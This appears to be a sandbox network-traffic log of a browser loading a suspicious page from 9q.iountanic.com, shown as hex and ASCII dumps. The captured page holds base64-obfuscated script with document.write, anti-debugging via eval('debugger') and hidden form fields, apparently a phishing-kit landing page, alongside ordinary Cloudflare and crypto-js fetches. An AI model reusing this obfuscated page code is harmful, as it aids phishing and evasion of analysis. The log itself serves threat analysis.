2024-10-11 13:53:46 UTC	1369	IN	Data Raw: 34 35 62 61 0d 0a 3c 21 2d 2d 20 49 20 66 69 6e 64 20 74 68 61 74 20 74 68 65 20 68 61 72 64 65 72 20 49 20 77 6f 72 6b 2c 20 74 68 65 20 6d 6f 72 65 20 6c 75 63 6b 20 49 20 73 65 65 6d 20 74 6f 20 68 61 76 65 2e 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 38 35 55 53 35 70 62 33 56 75 64 47 46 75 61 57 4d 75 59 32 39 74 4c 7a 52 79 52 33 4a 68 4c 77 3d 3d 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f Data Ascii: 45ba... I find that the harder I work, the more luck I seem to have. --><script>if(atob("aHR0cHM6Ly85US5pb3VudGFuaWMuY29tLzRyR3JhLw==") == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo
2024-10-11 13:53:46 UTC	1369	IN	Data Raw: 57 74 4f 56 6b 31 35 55 56 45 75 59 32 39 75 64 47 46 70 62 6d 56 79 65 33 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 33 42 68 5a 47 52 70 62 6d 63 74 63 6d 6c 6e 61 48 51 36 49 48 5a 68 63 69 67 74 4c 57 4a 7a 4c 57 64 31 64 48 52 6c 63 69 31 34 4c 43 41 75 4e 7a 56 79 5a 57 30 70 4f 33 42 68 5a 47 52 70 62 6d 63 74 62 47 56 6d 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b 37 62 57 46 79 5a 32 6c 75 4c 58 4a 70 5a 32 68 30 4f 69 42 68 64 58 52 76 4f 32 31 68 63 6d 64 70 62 69 31 73 5a 57 5a 30 4f 69 42 68 64 58 52 76 4f 33 30 4e 43 69 4e 6a 52 57 46 72 54 6c 5a 4e 65 56 46 52 49 43 35 30 5a 58 68 30 4c 57 4e 6c 62 6e 52 6c 63 69 42 37 64 47 56 34 64 43 31 68 62 47 6c 6e 62 6a 6f 67 Data Ascii: WtOVk15UVEuY29udGFpbmVye3dpZHRoOiAxMDAlO3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiNjRWFrTlZNeVFRIC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjog
2024-10-11 13:53:46 UTC	1369	IN	Data Raw: 78 76 63 6a 6f 67 49 32 5a 6d 5a 6a 74 6a 62 32 78 76 63 6a 6f 67 49 7a 41 77 4d 44 74 77 59 57 52 6b 61 57 35 6e 4f 69 41 79 4d 48 42 34 4f 32 5a 76 62 6e 51 74 63 32 6c 36 5a 54 6f 67 4d 54 68 77 65 44 74 76 64 6d 56 79 63 32 4e 79 62 32 78 73 4c 57 4a 6c 61 47 46 32 61 57 39 79 4f 69 42 6a 62 32 35 30 59 57 6c 75 4f 79 49 2b 44 51 6f 38 49 53 30 74 49 44 78 6b 61 58 59 2b 55 33 56 6a 59 32 56 7a 63 79 42 70 63 79 42 75 62 33 51 67 61 57 34 67 64 32 68 68 64 43 42 35 62 33 55 67 61 47 46 32 5a 53 77 67 59 6e 56 30 49 48 64 6f 62 79 42 35 62 33 55 67 59 58 4a 6c 4c 6a 77 76 5a 47 6c 32 50 69 41 74 4c 54 34 4b 50 47 52 70 64 69 42 70 5a 44 30 69 59 30 56 68 61 30 35 57 54 58 6c 52 55 53 49 67 59 32 78 68 63 33 4d 39 49 6d 4e 76 62 6e 52 68 61 57 35 6c 63 Data Ascii: xvcjogI2ZmZjtjb2xvcjogIzAwMDtwYWRkaW5nOiAyMHB4O2ZvbnQtc2l6ZTogMThweDtvdmVyc2Nyb2xsLWJlaGF2aW9yOiBjb250YWluOyI+DQo8IS0tIDxkaXY+U3VjY2VzcyBpcyBub3QgaW4gd2hhdCB5b3UgaGF2ZSwgYnV0IHdobyB5b3UgYXJlLjwvZGl2PiAtLT4KPGRpdiBpZD0iY0Vha05WTXlRUSIgY2xhc3M9ImNvbnRhaW5lc
2024-10-11 13:53:46 UTC	1369	IN	Data Raw: 69 64 58 51 67 64 32 68 76 49 48 6c 76 64 53 42 68 63 6d 55 75 50 43 39 6b 61 58 59 2b 49 43 30 74 50 67 6f 38 4c 32 5a 76 63 6d 30 2b 44 51 6f 38 49 53 30 74 49 46 52 6f 5a 53 42 76 62 6d 78 35 49 47 78 70 62 57 6c 30 49 48 52 76 49 47 39 31 63 69 42 79 5a 57 46 73 61 58 70 68 64 47 6c 76 62 69 42 76 5a 69 42 30 62 32 31 76 63 6e 4a 76 64 79 42 33 61 57 78 73 49 47 4a 6c 49 47 39 31 63 69 42 6b 62 33 56 69 64 48 4d 67 62 32 59 67 64 47 39 6b 59 58 6b 75 49 43 30 74 50 67 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 78 6b 61 58 59 67 59 32 78 68 63 33 4d 39 49 6e 52 6c 65 48 51 74 59 32 56 75 64 47 56 79 49 69 42 70 5a 44 30 69 54 58 46 4d 62 57 4e 78 54 33 68 4e 59 69 49 2b 44 51 70 44 62 32 35 6b 64 57 4e 30 61 57 35 6e 49 47 4e 6f 5a 57 4e 72 63 79 42 30 62 79 Data Ascii: idXQgd2hvIHlvdSBhcmUuPC9kaXY+IC0tPgo8L2Zvcm0+DQo8IS0tIFRoZSBvbmx5IGxpbWl0IHRvIG91ciByZWFsaXphdGlvbiBvZiB0b21vcnJvdyB3aWxsIGJlIG91ciBkb3VidHMgb2YgdG9kYXkuIC0tPgo8L2Rpdj4NCjxkaXYgY2xhc3M9InRleHQtY2VudGVyIiBpZD0iTXFMbWNxT3hNYiI+DQpDb25kdWN0aW5nIGNoZWNrcyB0by
2024-10-11 13:53:46 UTC	1369	IN	Data Raw: 62 31 6c 57 51 31 46 50 54 45 52 52 52 30 5a 59 52 30 31 61 52 56 46 50 53 55 6c 55 53 6b 4a 54 56 55 39 4a 53 6c 46 61 55 55 46 4c 53 56 52 4a 55 6b 52 53 52 31 52 54 53 53 63 73 49 48 73 4e 43 69 41 67 49 43 42 74 5a 58 52 6f 62 32 51 36 49 43 4a 48 52 56 51 69 4c 41 30 4b 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 63 6d 56 7a 63 47 39 75 63 32 55 67 50 54 34 67 65 77 30 4b 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 79 5a 58 4e 77 62 32 35 7a 5a 53 35 30 5a 58 68 30 4b 43 6b 4e 43 69 41 67 49 43 42 39 4b 53 35 30 61 47 56 75 4b 48 52 6c 65 48 51 67 50 54 34 67 65 77 30 4b 49 43 41 67 49 47 4e 76 62 6e 4e 76 62 47 55 75 62 47 39 6e 4b 48 52 6c 65 48 51 70 4f 77 30 4b 49 43 41 67 49 47 6c 6d 4b 48 52 6c 65 48 51 67 50 54 30 67 4d 43 6c 37 44 51 6f Data Ascii: b1lWQ1FPTERRR0ZYR01aRVFPSUlUSkJTVU9JSlFaUUFLSVRJUkRSR1RTSScsIHsNCiAgICBtZXRob2Q6ICJHRVQiLA0KICAgIH0pLnRoZW4ocmVzcG9uc2UgPT4gew0KICAgIHJldHVybiByZXNwb25zZS50ZXh0KCkNCiAgICB9KS50aGVuKHRleHQgPT4gew0KICAgIGNvbnNvbGUubG9nKHRleHQpOw0KICAgIGlmKHRleHQgPT0gMCl7DQo
2024-10-11 13:53:46 UTC	1369	IN	Data Raw: 69 6c 6c 20 62 65 20 73 75 63 63 65 73 73 66 75 6c 2e 20 2a 2f 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 38 35 55 53 35 70 62 33 56 75 64 47 46 75 61 57 4d 75 59 32 39 74 4c 7a 52 79 52 33 4a 68 4c 77 3d 3d 22 29 20 21 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 63 6f 6e 73 74 20 72 46 4c 54 7a 75 52 42 55 72 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 27 2e 27 29 2e 73 6c 69 63 65 28 2d 32 29 2e 6a 6f 69 6e 28 27 2e 27 29 3b 0d 0a 63 6f 6e 73 74 20 4b 48 48 4e 65 46 75 51 6c 75 20 3d 20 6e 65 77 20 55 52 4c 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 38 35 55 53 35 70 62 33 56 75 64 47 46 75 61 57 4d 75 59 32 39 74 4c 7a 52 79 52 33 4a 68 4c 77 3d 3d 22 29 29 3b 0d Data Ascii: ill be successful. */if(atob("aHR0cHM6Ly85US5pb3VudGFuaWMuY29tLzRyR3JhLw==") !== "nomatch"){const rFLTzuRBUr = window.location.hostname.split('.').slice(-2).join('.');const KHHNeFuQlu = new URL(atob("aHR0cHM6Ly85US5pb3VudGFuaWMuY29tLzRyR3JhLw=="));
2024-10-11 13:53:46 UTC	1369	IN	Data Raw: 55 74 64 32 6c 6b 64 47 67 73 49 47 6c 75 61 58 52 70 59 57 77 74 63 32 4e 68 62 47 55 39 4d 53 34 77 49 6a 34 4e 43 69 41 67 49 43 41 38 64 47 6c 30 62 47 55 2b 4a 69 4d 34 4d 6a 41 7a 4f 7a 77 76 64 47 6c 30 62 47 55 2b 44 51 6f 67 49 43 41 67 50 48 4e 30 65 57 78 6c 50 67 30 4b 59 6d 39 6b 65 53 42 37 44 51 6f 67 49 47 4a 68 59 32 74 6e 63 6d 39 31 62 6d 51 74 59 32 39 73 62 33 49 36 49 43 4e 6d 5a 6d 59 37 44 51 6f 67 49 47 68 6c 61 57 64 6f 64 44 6f 67 4d 54 41 77 4a 54 73 4e 43 69 41 67 62 33 5a 6c 63 6d 5a 73 62 33 63 36 49 47 68 70 5a 47 52 6c 62 6a 73 4e 43 6e 30 4e 43 69 4e 6a 52 57 46 72 54 6c 5a 4e 65 56 46 52 49 47 67 30 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 69 34 31 63 Data Ascii: Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNjRWFrTlZNeVFRIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41c
2024-10-11 13:53:46 UTC	1369	IN	Data Raw: 4d 62 57 4e 78 54 33 68 4e 59 69 42 37 59 32 39 73 62 33 49 36 49 43 4d 32 59 7a 63 31 4e 32 51 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6a 45 30 63 48 67 37 62 57 46 79 5a 32 6c 75 4c 58 52 76 63 44 6f 67 4c 6a 56 79 5a 57 30 37 66 51 30 4b 49 43 41 67 49 44 77 76 63 33 52 35 62 47 55 2b 44 51 6f 67 49 43 41 67 50 48 4e 6a 63 6d 6c 77 64 44 34 4e 43 69 41 67 49 43 42 7a 5a 58 52 4a 62 6e 52 6c 63 6e 5a 68 62 43 67 6f 4b 53 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 59 32 39 75 63 33 51 67 64 44 41 67 50 53 42 45 59 58 52 6c 4c 6d 35 76 64 79 67 70 4f 77 30 4b 49 43 41 67 49 47 56 32 59 57 77 6f 4a 32 52 6c 59 6e 56 6e 5a 32 56 79 4a 79 6b 37 44 51 6f 67 49 43 41 67 59 32 39 75 63 33 51 67 64 44 45 67 50 53 42 45 59 58 52 6c 4c 6d 35 76 64 79 67 70 4f 77 Data Ascii: MbWNxT3hNYiB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBzZXRJbnRlcnZhbCgoKSA9PiB7DQogICAgY29uc3QgdDAgPSBEYXRlLm5vdygpOw0KICAgIGV2YWwoJ2RlYnVnZ2VyJyk7DQogICAgY29uc3QgdDEgPSBEYXRlLm5vdygpOw
2024-10-11 13:53:46 UTC	1369	IN	Data Raw: 5a 53 42 30 61 47 46 75 49 48 6c 76 64 53 42 30 59 57 74 6c 4c 69 41 74 4c 54 34 4b 50 47 6c 75 63 48 56 30 49 48 52 35 63 47 55 39 49 6d 68 70 5a 47 52 6c 62 69 49 67 61 57 51 39 49 6d 4a 73 64 47 52 70 63 43 49 67 62 6d 46 74 5a 54 30 69 59 6d 78 30 5a 47 6c 77 49 69 42 32 59 57 78 31 5a 54 30 69 56 57 35 72 62 6d 39 33 62 69 49 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a 47 56 75 49 69 42 70 5a 44 30 69 59 6d 78 30 5a 48 4a 6c 5a 69 49 67 62 6d 46 74 5a 54 30 69 59 6d 78 30 5a 48 4a 6c 5a 69 49 67 64 6d 46 73 64 57 55 39 49 69 49 2b 44 51 6f 38 49 53 30 74 49 45 35 6c 64 6d 56 79 49 47 64 70 64 6d 55 67 61 57 34 67 5a 58 68 6a 5a 58 42 30 49 48 52 76 49 47 4e 76 62 6e 5a 70 59 33 52 70 62 32 35 7a 49 47 39 6d 49 47 68 Data Ascii: ZSB0aGFuIHlvdSB0YWtlLiAtLT4KPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImJsdGRpcCIgbmFtZT0iYmx0ZGlwIiB2YWx1ZT0iVW5rbm93biI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iYmx0ZHJlZiIgbmFtZT0iYmx0ZHJlZiIgdmFsdWU9IiI+DQo8IS0tIE5ldmVyIGdpdmUgaW4gZXhjZXB0IHRvIGNvbnZpY3Rpb25zIG9mIGh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.17	49711	104.18.95.41	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:47 UTC	648	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9q.iountanic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:47 UTC	386	IN	HTTP/1.1 302 Found Date: Fri, 11 Oct 2024 13:53:47 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/62ec4f065604/api.js Server: cloudflare CF-RAY: 8d0f569ec957c475-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.17	49712	104.17.24.14	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:47 UTC	650	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9q.iountanic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:47 UTC	958	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 13:53:47 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 715477 Expires: Wed, 01 Oct 2025 13:53:47 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S5AzEIg4pS9jYnc%2BW4FgurT86inQLlx55rGc6OCyy7d1Ujyvy8E2dUfNWhc%2FMuQvXby9vaTtR9lMejN69vP5nqxaxnWb3%2B25mA0DVrcfZp7MhFvnqSsOIH3RC8S4Y40u6MiNT81Z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8d0f569eaeb14288-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 13:53:47 UTC	411	IN	Data Raw: 37 62 66 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf3!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-10-11 13:53:47 UTC	1369	IN	Data Raw: 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 Data Ascii: globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.crea
2024-10-11 13:53:47 UTC	1369	IN	Data Raw: 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 Data Ascii: all(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)
2024-10-11 13:53:47 UTC	1369	IN	Data Raw: 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b Data Ascii: eof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;
2024-10-11 13:53:47 UTC	1369	IN	Data Raw: 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 Data Ascii: ar t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0
2024-10-11 13:53:47 UTC	1369	IN	Data Raw: 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d Data Ascii: or(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]
2024-10-11 13:53:47 UTC	1369	IN	Data Raw: 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 Data Ascii: ,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:fu
